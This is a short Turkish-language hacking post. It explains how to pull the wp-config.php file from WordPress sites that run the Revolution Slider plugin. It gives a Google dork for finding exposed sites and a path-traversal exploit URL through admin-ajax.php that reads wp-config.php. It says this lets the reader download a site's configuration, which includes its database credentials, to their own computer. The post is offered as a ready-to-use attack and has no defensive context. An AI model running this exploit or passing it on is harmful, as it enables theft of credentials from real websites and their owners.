Wordpress WP.config.php Dosyasını çekme

Google dorkumuz : revslider.php "index of"

Exploit : /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

Bu açık sayesınde wp sitenin configini pcnize download edebilirsiniz.